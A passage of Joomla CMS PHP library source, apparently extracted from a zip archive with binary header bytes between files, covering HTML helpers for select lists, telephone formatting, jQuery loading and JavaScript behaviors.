$selected The key that is selected * @param string $yes Language key for Yes * @param string $no Language key for no * @param mixed $id The id for the field or false for no id * * @return string HTML for the radio list * * @since 1.5 * @see JFormFieldRadio */ public static function booleanlist($name, $attribs = array(), $selected = null, $yes = 'JYES', $no = 'JNO', $id = false) { $arr = array(JHtml::_('select.option', '0', JText::_($no)), JHtml::_('select.option', '1', JText::_($yes))); return JHtml::_('select.radiolist', $arr, $name, $attribs, 'value', 'text', (int) $selected, $id); } /** * Generates an HTML selection list. * * @param array $data An array of objects, arrays, or scalars. * @param string $name The value of the HTML name attribute. * @param mixed $attribs Additional HTML attributes for the `<select>` tag. This * can be an array of attributes, or an array of options. Treated as options * if it is the last argument passed. Valid options are: * Format options, see {@see JHtml::$formatOptions}. * Selection options, see {@see JHtmlSelect::options()}. * list.attr, string|array: Additional attributes for the select * element. * id, string: Value to use as the select element id attribute. * Defaults to the same as the name. * list.select, string|array: Identifies one or more option elements * to be selected, based on the option key values. * @param string $optKey The name of the object variable for the option value. If * set to null, the index of the value array is used. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string). * @param mixed $idtag Value of the field id or null by default * @param boolean $translate True to translate * * @return string HTML for the select list. * * @since 1.5 */ public static function genericlist($data, $name, $attribs = null, $optKey = 'value', $optText = 'text', $selected = null, $idtag = false, $translate = false) { // Set default options $options = array_merge(JHtml::$formatOptions, array('format.depth' => 0, 'id' => false)); if (is_array($attribs) && func_num_args() === 3) { // Assume we have an options array $options = array_merge($options, $attribs); } else { // Get options from the parameters $options['id'] = $idtag; $options['list.attr'] = $attribs; $options['list.translate'] = $translate; $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['list.select'] = $selected; } $attribs = ''; if (isset($options['list.attr'])) { if (is_array($options['list.attr'])) { $attribs = ArrayHelper::toString($options['list.attr']); } else { $attribs = $options['list.attr']; } if ($attribs !== '') { $attribs = ' ' . $attribs; } } $id = $options['id'] !== false ? $options['id'] : $name; $id = str_replace(array('[', ']', ' '), '', $id); $baseIndent = str_repeat($options['format.indent'], $options['format.depth']++); $html = $baseIndent . '<select' . ($id !== '' ? ' id="' . $id . '"' : '') . ' name="' . $name . '"' . $attribs . '>' . $options['format.eol'] . static::options($data, $options) . $baseIndent . '</select>' . $options['format.eol']; return $html; } /** * Method to build a list with suggestions * * @param array $data An array of objects, arrays, or values. * @param string $optKey The name of the object variable for the option value. If * set to null, the index of the value array is used. * @param string $optText The name of the object variable for the option text. * @param mixed $idtag Value of the field id or null by default * @param boolean $translate True to translate * * @return string HTML for the select list * * @since 3.2 * @deprecated 4.0 Just create the `<datalist>` directly instead */ public static function suggestionlist($data, $optKey = 'value', $optText = 'text', $idtag = null, $translate = false) { // Log deprecated message JLog::add( sprintf( '%s() is deprecated. Create the <datalist> tag directly instead.', __METHOD__ ), JLog::WARNING, 'deprecated' ); // Note: $idtag is required but has to be an optional argument in the funtion call due to argument order if (!$idtag) { throw new InvalidArgumentException('$idtag is a required argument in deprecated JHtmlSelect::suggestionlist'); } // Set default options $options = array_merge(JHtml::$formatOptions, array('format.depth' => 0, 'id' => false)); // Get options from the parameters $options['id'] = $idtag; $options['list.attr'] = null; $options['list.translate'] = $translate; $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['list.select'] = null; $id = ' id="' . $idtag . '"'; $baseIndent = str_repeat($options['format.indent'], $options['format.depth']++); $html = $baseIndent . '<datalist' . $id . '>' . $options['format.eol'] . static::options($data, $options) . $baseIndent . '</datalist>' . $options['format.eol']; return $html; } /** * Generates a grouped HTML selection list from nested arrays. * * @param array $data An array of groups, each of which is an array of options. * @param string $name The value of the HTML name attribute * @param array $options Options, an array of key/value pairs. Valid options are: * Format options, {@see JHtml::$formatOptions}. * Selection options. See {@see JHtmlSelect::options()}. * group.id: The property in each group to use as the group id * attribute. Defaults to none. * group.label: The property in each group to use as the group * label. Defaults to "text". If set to null, the data array index key is * used. * group.items: The property in each group to use as the array of * items in the group. Defaults to "items". If set to null, group.id and * group. label are forced to null and the data element is assumed to be a * list of selections. * id: Value to use as the select element id attribute. Defaults to * the same as the name. * list.attr: Attributes for the select element. Can be a string or * an array of key/value pairs. Defaults to none. * list.select: either the value of one selected option or an array * of selected options. Default: none. * list.translate: Boolean. If set, text and labels are translated via * JText::_(). * * @return string HTML for the select list * * @since 1.5 * @throws RuntimeException If a group has contents that cannot be processed. */ public static function groupedlist($data, $name, $options = array()) { // Set default options and overwrite with anything passed in $options = array_merge( JHtml::$formatOptions, array('format.depth' => 0, 'group.items' => 'items', 'group.label' => 'text', 'group.label.toHtml' => true, 'id' => false), $options ); // Apply option rules if ($options['group.items'] === null) { $options['group.label'] = null; } $attribs = ''; if (isset($options['list.attr'])) { if (is_array($options['list.attr'])) { $attribs = ArrayHelper::toString($options['list.attr']); } else { $attribs = $options['list.attr']; } if ($attribs !== '') { $attribs = ' ' . $attribs; } } $id = $options['id'] !== false ? $options['id'] : $name; $id = str_replace(array('[', ']', ' '), '', $id); // Disable groups in the options. $options['groups'] = false; $baseIndent = str_repeat($options['format.indent'], $options['format.depth']++); $html = $baseIndent . '<select' . ($id !== '' ? ' id="' . $id . '"' : '') . ' name="' . $name . '"' . $attribs . '>' . $options['format.eol']; $groupIndent = str_repeat($options['format.indent'], $options['format.depth']++); foreach ($data as $dataKey => $group) { $label = $dataKey; $id = ''; $noGroup = is_int($dataKey); if ($options['group.items'] == null) { // Sub-list is an associative array $subList = $group; } elseif (is_array($group)) { // Sub-list is in an element of an array. $subList = $group[$options['group.items']]; if (isset($group[$options['group.label']])) { $label = $group[$options['group.label']]; $noGroup = false; } if (isset($options['group.id']) && isset($group[$options['group.id']])) { $id = $group[$options['group.id']]; $noGroup = false; } } elseif (is_object($group)) { // Sub-list is in a property of an object $subList = $group->{$options['group.items']}; if (isset($group->{$options['group.label']})) { $label = $group->{$options['group.label']}; $noGroup = false; } if (isset($options['group.id']) && isset($group->{$options['group.id']})) { $id = $group->{$options['group.id']}; $noGroup = false; } } else { throw new RuntimeException('Invalid group contents.', 1); } if ($noGroup) { $html .= static::options($subList, $options); } else { $html .= $groupIndent . '<optgroup' . (empty($id) ? '' : ' id="' . $id . '"') . ' label="' . ($options['group.label.toHtml'] ? htmlspecialchars($label, ENT_COMPAT, 'UTF-8') : $label) . '">' . $options['format.eol'] . static::options($subList, $options) . $groupIndent . '</optgroup>' . $options['format.eol']; } } $html .= $baseIndent . '</select>' . $options['format.eol']; return $html; } /** * Generates a selection list of integers. * * @param integer $start The start integer * @param integer $end The end integer * @param integer $inc The increment * @param string $name The value of the HTML name attribute * @param mixed $attribs Additional HTML attributes for the `<select>` tag, an array of * attributes, or an array of options. Treated as options if it is the last * argument passed. * @param mixed $selected The key that is selected * @param string $format The printf format to be applied to the number * * @return string HTML for the select list * * @since 1.5 */ public static function integerlist($start, $end, $inc, $name, $attribs = null, $selected = null, $format = '') { // Set default options $options = array_merge(JHtml::$formatOptions, array('format.depth' => 0, 'option.format' => '', 'id' => null)); if (is_array($attribs) && func_num_args() === 5) { // Assume we have an options array $options = array_merge($options, $attribs); // Extract the format and remove it from downstream options $format = $options['option.format']; unset($options['option.format']); } else { // Get options from the parameters $options['list.attr'] = $attribs; $options['list.select'] = $selected; } $start = (int) $start; $end = (int) $end; $inc = (int) $inc; $data = array(); for ($i = $start; $i <= $end; $i += $inc) { $data[$i] = $format ? sprintf($format, $i) : $i; } // Tell genericlist() to use array keys $options['option.key'] = null; return JHtml::_('select.genericlist', $data, $name, $options); } /** * Create a placeholder for an option group. * * @param string $text The text for the option * @param string $optKey The returned object property name for the value * @param string $optText The returned object property name for the text * * @return stdClass * * @deprecated 4.0 Use JHtmlSelect::groupedList() * @see JHtmlSelect::groupedList() * @since 1.5 */ public static function optgroup($text, $optKey = 'value', $optText = 'text') { JLog::add('JHtmlSelect::optgroup() is deprecated, use JHtmlSelect::groupedList() instead.', JLog::WARNING, 'deprecated'); // Set initial state static $state = 'open'; // Toggle between open and close states: switch ($state) { case 'open': $obj = new stdClass; $obj->$optKey = '<OPTGROUP>'; $obj->$optText = $text; $state = 'close'; break; case 'close': $obj = new stdClass; $obj->$optKey = '</OPTGROUP>'; $obj->$optText = $text; $state = 'open'; break; } return $obj; } /** * Create an object that represents an option in an option list. * * @param string $value The value of the option * @param string $text The text for the option * @param mixed $optKey If a string, the returned object property name for * the value. If an array, options. Valid options are: * attr: String|array. Additional attributes for this option. * Defaults to none. * disable: Boolean. If set, this option is disabled. * label: String. The value for the option label. * option.attr: The property in each option array to use for * additional selection attributes. Defaults to none. * option.disable: The property that will hold the disabled state. * Defaults to "disable". * option.key: The property that will hold the selection value. * Defaults to "value". * option.label: The property in each option array to use as the * selection label attribute. If a "label" option is provided, defaults to * "label", if no label is given, defaults to null (none). * option.text: The property that will hold the the displayed text. * Defaults to "text". If set to null, the option array is assumed to be a * list of displayable scalars. * @param string $optText The property that will hold the the displayed text. This * parameter is ignored if an options array is passed. * @param boolean $disable Not used. * * @return stdClass * * @since 1.5 */ public static function option($value, $text = '', $optKey = 'value', $optText = 'text', $disable = false) { $options = array( 'attr' => null, 'disable' => false, 'option.attr' => null, 'option.disable' => 'disable', 'option.key' => 'value', 'option.label' => null, 'option.text' => 'text', ); if (is_array($optKey)) { // Merge in caller's options $options = array_merge($options, $optKey); } else { // Get options from the parameters $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['disable'] = $disable; } $obj = new stdClass; $obj->{$options['option.key']} = $value; $obj->{$options['option.text']} = trim($text) ? $text : $value; /* * If a label is provided, save it. If no label is provided and there is * a label name, initialise to an empty string. */ $hasProperty = $options['option.label'] !== null; if (isset($options['label'])) { $labelProperty = $hasProperty ? $options['option.label'] : 'label'; $obj->$labelProperty = $options['label']; } elseif ($hasProperty) { $obj->{$options['option.label']} = ''; } // Set attributes only if there is a property and a value if ($options['attr'] !== null) { $obj->{$options['option.attr']} = $options['attr']; } // Set disable only if it has a property and a value if ($options['disable'] !== null) { $obj->{$options['option.disable']} = $options['disable']; } return $obj; } /** * Generates the option tags for an HTML select list (with no select tag * surrounding the options). * * @param array $arr An array of objects, arrays, or values. * @param mixed $optKey If a string, this is the name of the object variable for * the option value. If null, the index of the array of objects is used. If * an array, this is a set of options, as key/value pairs. Valid options are: * -Format options, {@see JHtml::$formatOptions}. * -groups: Boolean. If set, looks for keys with the value * "<optgroup>" and synthesizes groups from them. Deprecated. Defaults * true for backwards compatibility. * -list.select: either the value of one selected option or an array * of selected options. Default: none. * -list.translate: Boolean. If set, text and labels are translated via * JText::_(). Default is false. * -option.id: The property in each option array to use as the * selection id attribute. Defaults to none. * -option.key: The property in each option array to use as the * selection value. Defaults to "value". If set to null, the index of the * option array is used. * -option.label: The property in each option array to use as the * selection label attribute. Defaults to null (none). * -option.text: The property in each option array to use as the * displayed text. Defaults to "text". If set to null, the option array is * assumed to be a list of displayable scalars. * -option.attr: The property in each option array to use for * additional selection attributes. Defaults to none. * -option.disable: The property that will hold the disabled state. * Defaults to "disable". * -option.key: The property that will hold the selection value. * Defaults to "value". * -option.text: The property that will hold the the displayed text. * Defaults to "text". If set to null, the option array is assumed to be a * list of displayable scalars. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string) * @param boolean $translate Translate the option values. * * @return string HTML for the select list * * @since 1.5 */ public static function options($arr, $optKey = 'value', $optText = 'text', $selected = null, $translate = false) { $options = array_merge( JHtml::$formatOptions, static::$optionDefaults['option'], array('format.depth' => 0, 'groups' => true, 'list.select' => null, 'list.translate' => false) ); if (is_array($optKey)) { // Set default options and overwrite with anything passed in $options = array_merge($options, $optKey); } else { // Get options from the parameters $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['list.select'] = $selected; $options['list.translate'] = $translate; } $html = ''; $baseIndent = str_repeat($options['format.indent'], $options['format.depth']); foreach ($arr as $elementKey => &$element) { $attr = ''; $extra = ''; $label = ''; $id = ''; if (is_array($element)) { $key = $options['option.key'] === null ? $elementKey : $element[$options['option.key']]; $text = $element[$options['option.text']]; if (isset($element[$options['option.attr']])) { $attr = $element[$options['option.attr']]; } if (isset($element[$options['option.id']])) { $id = $element[$options['option.id']]; } if (isset($element[$options['option.label']])) { $label = $element[$options['option.label']]; } if (isset($element[$options['option.disable']]) && $element[$options['option.disable']]) { $extra .= ' disabled="disabled"'; } } elseif (is_object($element)) { $key = $options['option.key'] === null ? $elementKey : $element->{$options['option.key']}; $text = $element->{$options['option.text']}; if (isset($element->{$options['option.attr']})) { $attr = $element->{$options['option.attr']}; } if (isset($element->{$options['option.id']})) { $id = $element->{$options['option.id']}; } if (isset($element->{$options['option.label']})) { $label = $element->{$options['option.label']}; } if (isset($element->{$options['option.disable']}) && $element->{$options['option.disable']}) { $extra .= ' disabled="disabled"'; } if (isset($element->{$options['option.class']}) && $element->{$options['option.class']}) { $extra .= ' class="' . $element->{$options['option.class']} . '"'; } if (isset($element->{$options['option.onclick']}) && $element->{$options['option.onclick']}) { $extra .= ' onclick="' . $element->{$options['option.onclick']} . '"'; } } else { // This is a simple associative array $key = $elementKey; $text = $element; } /* * The use of options that contain optgroup HTML elements was * somewhat hacked for J1.5. J1.6 introduces the grouplist() method * to handle this better. The old solution is retained through the * "groups" option, which defaults true in J1.6, but should be * deprecated at some point in the future. */ $key = (string) $key; if ($key === '<OPTGROUP>' && $options['groups']) { $html .= $baseIndent . '<optgroup label="' . ($options['list.translate'] ? JText::_($text) : $text) . '">' . $options['format.eol']; $baseIndent = str_repeat($options['format.indent'], ++$options['format.depth']); } elseif ($key === '</OPTGROUP>' && $options['groups']) { $baseIndent = str_repeat($options['format.indent'], --$options['format.depth']); $html .= $baseIndent . '</optgroup>' . $options['format.eol']; } else { // If no string after hyphen - take hyphen out $splitText = explode(' - ', $text, 2); $text = $splitText[0]; if (isset($splitText[1]) && $splitText[1] !== '' && !preg_match('/^[\s]+$/', $splitText[1])) { $text .= ' - ' . $splitText[1]; } if (!empty($label) && $options['list.translate']) { $label = JText::_($label); } if ($options['option.label.toHtml']) { $label = htmlentities($label); } if (is_array($attr)) { $attr = ArrayHelper::toString($attr); } else { $attr = trim($attr); } $extra = ($id ? ' id="' . $id . '"' : '') . ($label ? ' label="' . $label . '"' : '') . ($attr ? ' ' . $attr : '') . $extra; if (is_array($options['list.select'])) { foreach ($options['list.select'] as $val) { $key2 = is_object($val) ? $val->{$options['option.key']} : $val; if ($key == $key2) { $extra .= ' selected="selected"'; break; } } } elseif ((string) $key === (string) $options['list.select']) { $extra .= ' selected="selected"'; } if ($options['list.translate']) { $text = JText::_($text); } // Generate the option, encoding as required $html .= $baseIndent . '<option value="' . ($options['option.key.toHtml'] ? htmlspecialchars($key, ENT_COMPAT, 'UTF-8') : $key) . '"' . $extra . '>'; $html .= $options['option.text.toHtml'] ? htmlentities(html_entity_decode($text, ENT_COMPAT, 'UTF-8'), ENT_COMPAT, 'UTF-8') : $text; $html .= '</option>' . $options['format.eol']; } } return $html; } /** * Generates an HTML radio list. * * @param array $data An array of objects * @param string $name The value of the HTML name attribute * @param string $attribs Additional HTML attributes for the `<select>` tag * @param mixed $optKey The key that is selected * @param string $optText The name of the object variable for the option value * @param string $selected The name of the object variable for the option text * @param boolean $idtag Value of the field id or null by default * @param boolean $translate True if options will be translated * * @return string HTML for the select list * * @since 1.5 */ public static function radiolist($data, $name, $attribs = null, $optKey = 'value', $optText = 'text', $selected = null, $idtag = false, $translate = false) { if (is_array($attribs)) { $attribs = ArrayHelper::toString($attribs); } $id_text = $idtag ?: $name; $html = '<div class="controls">'; foreach ($data as $obj) { $k = $obj->$optKey; $t = $translate ? JText::_($obj->$optText) : $obj->$optText; $id = (isset($obj->id) ? $obj->id : null); $extra = ''; $id = $id ? $obj->id : $id_text . $k; if (is_array($selected)) { foreach ($selected as $val) { $k2 = is_object($val) ? $val->$optKey : $val; if ($k == $k2) { $extra .= ' selected="selected" '; break; } } } else { $extra .= ((string) $k === (string) $selected ? ' checked="checked" ' : ''); } $html .= "\n\t" . '<label for="' . $id . '" id="' . $id . '-lbl" class="radio">'; $html .= "\n\t\n\t" . '<input type="radio" name="' . $name . '" id="' . $id . '" value="' . $k . '" ' . $extra . $attribs . ' />' . $t; $html .= "\n\t" . '</label>'; } $html .= "\n"; $html .= '</div>'; $html .= "\n"; return $html; } } PK���\ .鋀�cms/html/tel.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * HTML helper class for rendering telephone numbers. * * @since 1.6 */ abstract class JHtmlTel { /** * Converts strings of integers into more readable telephone format * * By default, the ITU-T format will automatically be used. * However, one of the allowed unit types may also be used instead. * * @param integer $number The integers in a phone number with dot separated country code * ccc.nnnnnnn where ccc represents country code and nnn represents the local number. * @param string $displayplan The numbering plan used to display the numbers. * * @return string The formatted telephone number. * * @see JFormRuleTel * @since 1.6 */ public static function tel($number, $displayplan) { $number = explode('.', $number); $countrycode = $number[0]; $number = $number[1]; if ($displayplan === 'ITU-T' || $displayplan === 'International' || $displayplan === 'int' || $displayplan === 'missdn' || $displayplan == null) { $display[0] = '+'; $display[1] = $countrycode; $display[2] = ' '; $display[3] = implode(' ', str_split($number, 2)); } elseif ($displayplan === 'NANP' || $displayplan === 'northamerica' || $displayplan === 'US') { $display[0] = '('; $display[1] = substr($number, 0, 3); $display[2] = ') '; $display[3] = substr($number, 3, 3); $display[4] = '-'; $display[5] = substr($number, 6, 4); } elseif ($displayplan === 'EPP' || $displayplan === 'IETF') { $display[0] = '+'; $display[1] = $countrycode; $display[2] = '.'; $display[3] = $number; } elseif ($displayplan === 'ARPA' || $displayplan === 'ENUM') { $number = implode('.', str_split(strrev($number), 1)); $display[0] = '+'; $display[1] = $number; $display[2] = '.'; $display[3] = $countrycode; $display[4] = '.e164.arpa'; } return implode('', $display); } } PK���\&�����cms/html/jquery.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class for jQuery JavaScript behaviors * * @since 3.0 */ abstract class JHtmlJquery { /** * @var array Array containing information for loaded files * @since 3.0 */ protected static $loaded = array(); /** * Method to load the jQuery JavaScript framework into the document head * * If debugging mode is on an uncompressed version of jQuery is included for easier debugging. * * @param boolean $noConflict True to load jQuery in noConflict mode [optional] * @param mixed $debug Is debugging mode on? [optional] * @param boolean $migrate True to enable the jQuery Migrate plugin * * @return void * * @since 3.0 */ public static function framework($noConflict = true, $debug = null, $migrate = true) { // Only load once if (!empty(static::$loaded[__METHOD__])) { return; } // If no debugging value is set, use the configuration setting if ($debug === null) { $debug = (boolean) JFactory::getConfig()->get('debug'); } JHtml::_('script', 'jui/jquery.min.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug)); // Check if we are loading in noConflict if ($noConflict) { JHtml::_('script', 'jui/jquery-noconflict.js', array('version' => 'auto', 'relative' => true)); } // Check if we are loading Migrate if ($migrate) { JHtml::_('script', 'jui/jquery-migrate.min.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug)); } static::$loaded[__METHOD__] = true; return; } /** * Method to load the jQuery UI JavaScript framework into the document head * * If debugging mode is on an uncompressed version of jQuery UI is included for easier debugging. * * @param array $components The jQuery UI components to load [optional] * @param mixed $debug Is debugging mode on? [optional] * * @return void * * @since 3.0 * @deprecated 4.0 jQuery UI will be removed from Joomla 4 without replacement. */ public static function ui(array $components = array('core'), $debug = null) { // Set an array containing the supported jQuery UI components handled by this method $supported = array('core', 'sortable'); // Include jQuery static::framework(); // If no debugging value is set, use the configuration setting if ($debug === null) { $debug = JDEBUG; } // Load each of the requested components foreach ($components as $component) { // Only attempt to load the component if it's supported in core and hasn't already been loaded if (in_array($component, $supported) && empty(static::$loaded[__METHOD__][$component])) { JHtml::_('script', 'jui/jquery.ui.' . $component . '.min.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug)); static::$loaded[__METHOD__][$component] = true; } } return; } /** * Auto set CSRF token to ajaxSetup so all jQuery ajax call will contains CSRF token. * * @param string $name The CSRF meta tag name. * * @return void * * @throws \InvalidArgumentException * * @since 3.8.0 */ public static function token($name = 'csrf.token') { // Only load once if (!empty(static::$loaded[__METHOD__][$name])) { return; } static::framework(); JHtml::_('form.csrf', $name); $doc = JFactory::getDocument(); $doc->addScriptDeclaration( <<<JS ;(function ($) { $.ajaxSetup({ headers: { 'X-CSRF-Token': Joomla.getOptions('$name') } }); })(jQuery); JS ); static::$loaded[__METHOD__][$name] = true; } } PK���\I�"�}}cms/html/behavior.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class for JavaScript behaviors * * @since 1.5 */ abstract class JHtmlBehavior { /** * Array containing information for loaded files * * @var array * @since 2.5 */ protected static $loaded = array(); /** * Method to load the MooTools framework into the document head * * If debugging mode is on an uncompressed version of MooTools is included for easier debugging. * * @param boolean $extras Flag to determine whether to load MooTools More in addition to Core * @param mixed $debug Is debugging mode on? [optional] * * @return void * * @since 1.6 * @deprecated 4.0 Update scripts to jquery */ public static function framework($extras = false, $debug = null) { $type = $extras ? 'more' : 'core'; // Only load once if (!empty(static::$loaded[__METHOD__][$type])) { return; } JLog::add('JHtmlBehavior::framework is deprecated. Update to jquery scripts.', JLog::WARNING, 'deprecated'); // If no debugging value is set, use the configuration setting if ($debug === null) { $debug = JDEBUG; } if ($type !== 'core' && empty(static::$loaded[__METHOD__]['core'])) { static::framework(false, $debug); } JHtml::_('script', 'system/mootools-' . $type . '.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug)); // Keep loading core.js for BC reasons static::core(); static::$loaded[__METHOD__][$type] = true; return; } /** * Method to load core.js into the document head. * * Core.js defines the 'Joomla' namespace and contains functions which are used across extensions * * @return void * * @since 3.3 */ public static function core() { // Only load once if (isset(static::$loaded[__METHOD__])) { return; } JHtml::_('form.csrf'); JHtml::_('script', 'system/core.js', array('version' => 'auto', 'relative' => true)); // Add core and base uri paths so javascript scripts can use them. JFactory::getDocument()->addScriptOptions('system.paths', array('root' => JUri::root(true), 'base' => JUri::base(true))); static::$loaded[__METHOD__] = true; } /** * Add unobtrusive JavaScript support for image captions. * * @param string $selector The selector for which a caption behaviour is to be applied. * * @return void * * @since 1.5 * * @Deprecated 4.0 Use native HTML figure tags. */ public static function caption($selector = 'img.caption') { JLog::add('JHtmlBehavior::caption is deprecated. Use native HTML figure tags.', JLog::WARNING, 'deprecated'); // Only load once if (isset(static::$loaded[__METHOD__][$selector])) { return; } // Include jQuery JHtml::_('jquery.framework'); JHtml::_('script', 'system/caption.js', array('version' => 'auto', 'relative' => true)); // Attach caption to document JFactory::getDocument()->addScriptDeclaration( "jQuery(window).on('load', function() { new JCaption('" . $selector . "'); });" ); // Set static array static::$loaded[__METHOD__][$selector] = true; } /** * Add unobtrusive JavaScript support for form validation. * * To enable form validation the form tag must have class="form-validate". * Each field that needs to be validated needs to have class="validate". * Additional handlers can be added to the handler for username, password, * numeric and email. To use these add class="validate-email" and so on. * * @return void * * @since 1.5 * * @Deprecated 3.4 Use formvalidator instead */ public static function formvalidation() { JLog::add('The use of formvalidation is deprecated use formvalidator instead.', JLog::WARNING, 'deprecated'); // Only load once if (isset(static::$loaded[__METHOD__])) { return; } // Include MooTools framework static::framework(); // Load the new jQuery code static::formvalidator(); } /** * Add unobtrusive JavaScript support for form validation. * * To enable form validation the form tag must have class="form-validate". * Each field that needs to be validated needs to have class="validate". * Additional handlers can be added to the handler for username, password, * numeric and email. To use these add class="validate-email" and so on. * * @return void * * @since 3.4 */ public static function formvalidator() { // Only load once if (isset(static::$loaded[__METHOD__])) { return; } // Include core static::core(); // Include jQuery JHtml::_('jquery.framework'); // Add validate.js language strings JText::script('JLIB_FORM_FIELD_INVALID'); JHtml::_('script', 'system/punycode.js', array('version' => 'auto', 'relative' => true)); JHtml::_('script', 'system/validate.js', array('version' => 'auto', 'relative' => true)); static::$loaded[__METHOD__] = true; } /** * Add unobtrusive JavaScript support for submenu switcher support * * @return void * * @since 1.5 * * @deprecated 4.0 No replacement, only used in Hathor. */ public static function switcher() { // Only load once if (isset(static::$loaded[__METHOD__])) { return; } // Include jQuery JHtml::_('jquery.framework'); JHtml::_('script', 'system/switcher.js', array('framework' => true, 'version' => 'auto', 'relative' => true)); $script = " document.switcher = null; jQuery(function($){ var toggler = document.getElementById('submenu'); var element = document.getElementById('config-document'); if (element) { document.switcher = new JSwitcher(toggler, element); } });"; JFactory::getDocument()->addScriptDeclaration($script); static::$loaded[__METHOD__] = true; } /** * Add unobtrusive JavaScript support for a combobox effect. * * Note that this control is only reliable in absolutely positioned elements. * Avoid using a combobox in a slider or dynamic pane. * * @return void * * @since 1.5 */ public static function combobox() { if (isset(static::$loaded[__METHOD__])) { return; } // Include core static::core(); JHtml::_('script', 'system/combobox.js', array('version' => 'auto', 'relative' => true)); static::$loaded[__METHOD__] = true; } /** * Add unobtrusive JavaScript support for a hover tooltips. * * Add a title attribute to any element in the form * title="title::text" * * Uses the core Tips class in MooTools. * * @param string $selector The class selector for the tooltip. * @param array $params An array of options for the tooltip. * Options for the tooltip can be: * - maxTitleChars integer The maximum number of characters in the tooltip title (defaults to 50). * - offsets object The distance of your tooltip from the mouse (defaults to {'x': 16, 'y': 16}). * - showDelay integer The millisecond delay the show event is fired (defaults to 100). * - hideDelay integer The millisecond delay the hide hide is fired (defaults to 100). * - className string The className your tooltip container will get. * - fixed boolean If set to true, the toolTip will not follow the mouse. * - onShow function The default function for the show event, passes the tip element * and the currently hovered element. * - onHide function The default function for the hide event, passes the currently * hovered element. * * @return void * * @since 1.5 * * @deprecated 4.0 Use JHtmlBootstrap::tooltip() instead. */ public static function tooltip($selector = '.hasTip', $params = array()) { $sig = md5(serialize(array($selector, $params))); if (isset(static::$loaded[__METHOD__][$sig])) { return; } // Include MooTools framework static::framework(true); // Setup options object $opt['maxTitleChars'] = isset($params['maxTitleChars']) && $params['maxTitleChars'] ? (int) $params['maxTitleChars'] : 50; // Offsets needs an array in the format: array('x'=>20, 'y'=>30) $opt['offset'] = isset($params['offset']) && is_array($params['offset']) ? $params['offset'] : null; $opt['showDelay'] = isset($params['showDelay']) ? (int) $params['showDelay'] : null; $opt['hideDelay'] = isset($params['hideDelay']) ? (int) $params['hideDelay'] : null; $opt['className'] = isset($params['className']) ? $params['className'] : null; $opt['fixed'] = isset($params['fixed']) && $params['fixed']; $opt['onShow'] = isset($params['onShow']) ? '\\' . $params['onShow'] : null; $opt['onHide'] = isset($params['onHide']) ? '\\' . $params['onHide'] : null; $options = JHtml::getJSObject($opt); // Include jQuery JHtml::_('jquery.framework'); // Attach tooltips to document JFactory::getDocument()->addScriptDeclaration( "jQuery(function($) { $('$selector').each(function() { var title = $(this).attr('title'); if (title) { var parts = title.split('::', 2); var mtelement = document.id(this); mtelement.store('tip:title', parts[0]); mtelement.store('tip:text', parts[1]); } }); var JTooltips = new Tips($('$selector').get(), $options); });" ); // Set static array static::$loaded[__METHOD__][$sig] = true; return; } /** * Add unobtrusive JavaScript support for modal links. * * @param string $selector The selector for which a modal behaviour is to be applied. * @param array $params An array of parameters for the modal behaviour. * Options for the modal behaviour can be: * - ajaxOptions * - size * - shadow * - overlay * - onOpen * - onClose * - onUpdate * - onResize * - onShow * - onHide * * @return void * * @since 1.5 * @deprecated 4.0 Use the modal equivalent from bootstrap */ public static function modal($selector = 'a.modal', $params = array()) { $document = JFactory::getDocument(); // Load the necessary files if they haven't yet been loaded if (!isset(static::$loaded[__METHOD__])) { // Include MooTools framework static::framework(true); // Load the JavaScript and css JHtml::_('script', 'system/modal.js', array('framework' => true, 'version' => 'auto', 'relative' => true)); JHtml::_('stylesheet', 'system/modal.css', array('version' => 'auto', 'relative' => true)); } $sig = md5(serialize(array($selector, $params))); if (isset(static::$loaded[__METHOD__][$sig])) { return; } JLog::add('JHtmlBehavior::modal is deprecated. Use the modal equivalent from bootstrap.', JLog::WARNING, 'deprecated'); // Setup options object $opt['ajaxOptions'] = isset($params['ajaxOptions']) && is_array($params['ajaxOptions']) ? $params['ajaxOptions'] : null; $opt['handler'] = isset($params['handler']) ? $params['handler'] : null; $opt['parseSecure'] = isset($params['parseSecure']) ? (bool) $params['parseSecure'] : null; $opt['closable'] = isset($params['closable']) ? (bool) $params['closable'] : null; $opt['closeBtn'] = isset($params['closeBtn']) ? (bool) $params['closeBtn'] : null; $opt['iframePreload'] = isset($params['iframePreload']) ? (bool) $params['iframePreload'] : null; $opt['iframeOptions'] = isset($params['iframeOptions']) && is_array($params['iframeOptions']) ? $params['iframeOptions'] : null; $opt['size'] = isset($params['size']) && is_array($params['size']) ? $params['size'] : null; $opt['shadow'] = isset($params['shadow']) ? $params['shadow'] : null; $opt['overlay'] = isset($params['overlay']) ? $params['overlay'] : null; $opt['onOpen'] = isset($params['onOpen']) ? $params['onOpen'] : null; $opt['onClose'] = isset($params['onClose']) ? $params['onClose'] : null; $opt['onUpdate'] = isset($params['onUpdate']) ? $params['onUpdate'] : null; $opt['onResize'] = isset($params['onResize']) ? $params['onResize'] : null; $opt['onMove'] = isset($params['onMove']) ? $params['onMove'] : null; $opt['onShow'] = isset($params['onShow']) ? $params['onShow'] : null; $opt['onHide'] = isset($params['onHide']) ? $params['onHide'] : null; // Include jQuery JHtml::_('jquery.framework'); if (isset($params['fullScreen']) && (bool) 